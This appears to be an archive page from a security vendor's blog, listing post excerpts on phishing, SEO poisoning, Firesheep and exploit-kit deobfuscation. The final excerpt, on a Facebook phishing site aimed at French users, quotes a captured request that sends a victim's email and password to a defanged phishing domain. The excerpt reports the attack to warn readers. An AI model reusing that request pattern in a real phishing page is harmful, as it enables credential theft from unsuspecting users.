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Oct 20

Deobfuscating malicious code layer by layer

Article written by David Sánchez Lavado This post explains how to analyze the malicious code used in current Exploit Kits. There are many ways to analyze this type of code, and you can find tools that do most of the job automatically. However, as researchers who like to understand how things work, we are going [...]

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Nov 17

Black(hat) Friday and Cyber(crime) Monday

You may be in for more than you bargained for if you plan on looking for the latest Black Friday or Cyber Monday deals online.  Cyber criminals are quick to capitalize on new opportunities and have already done so by optimizing their Blackhat SEO campaigns to infect those looking for those hot ticket item deals. [...]

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Oct 26

Firesheep: who is eating my cookies?

Internet is great, and everyday millions of people spend their day surfing it, using Google, Gmail, Youtube, Twitter, Facebook, etc. Some people buy at ebay, or Amazon. Even some people use it to work, though these cases maybe not that common As a reader of this blog, you are concerned about security and therefore you [...]

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Aug 27

How to Get Hacked on Facebook

One of the most common scenarios we observe on a daily basis are users coaxed into phishing campaigns and malicious applications on Facebook.  As we interact with our friends and family on social networks, we tend to trust of any and all of the information that appears to be from our “trusted network.”  However, Facebook [...]

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Jul 6

Summer tips

Many people are thinking these days in the summer, where we can enjoy life with family and friends our free time, and we can stop worrying about everything … But do we have to worry? Depends on the habits of each one. I recognize I go on holidays with almost all the gadgets I have, [...]

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Feb 25

Teaching Some Security. Asking for help!

After yesterday’s epic fail (I’m still laughing) it’s time to do something about users’ education. Many times I wonder which the best approach to education is, and even though writing white papers and all that kind of serious stuff is useful, the average Joe user won’t ever read it. And that’s a fact. So we [...]

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Aug 27

Are Cyber Criminals Targeting Local Events In Your City?

Panda Security has a California based office in Los Angeles.  We are located in close proximity to two ongoing wildfires in the Angeles Crest National Forrest that have now burned through at least 30 acres, so naturally we have been keeping an eye on it.  To my surprise, I pulled up a Google search for [...]

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Feb 5

Facebook Phishing Site Targets French Users

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Today I discovered a new Facebook phishing site targeting French users.  The login page looks identical to the official Facebook site, but the phishing site passes the victims credentials through a submission form before redirecting them to the official Facebook login site. Source: Connection: (Passing the victims credentials over to the attacker) GET hxxp://www.facebook-online.com/next.php?charset_test=%E2%82%AC%2C%C2%B4%2C%EF%BF%BD%2C%EF%BF%BD%2C%3F%2C%3F%2C%3F&locale=fr_FR&email=victim@domain.com&pass=victimpass&pass_placeholder=Mot+de+passe&charset_test=%E2%82%AC%2C%C2%B4%2C%EF%BF%BD%2C%EF%BF%BD%2C%3F%2C%3F%2C%3F (Redirecting [...]

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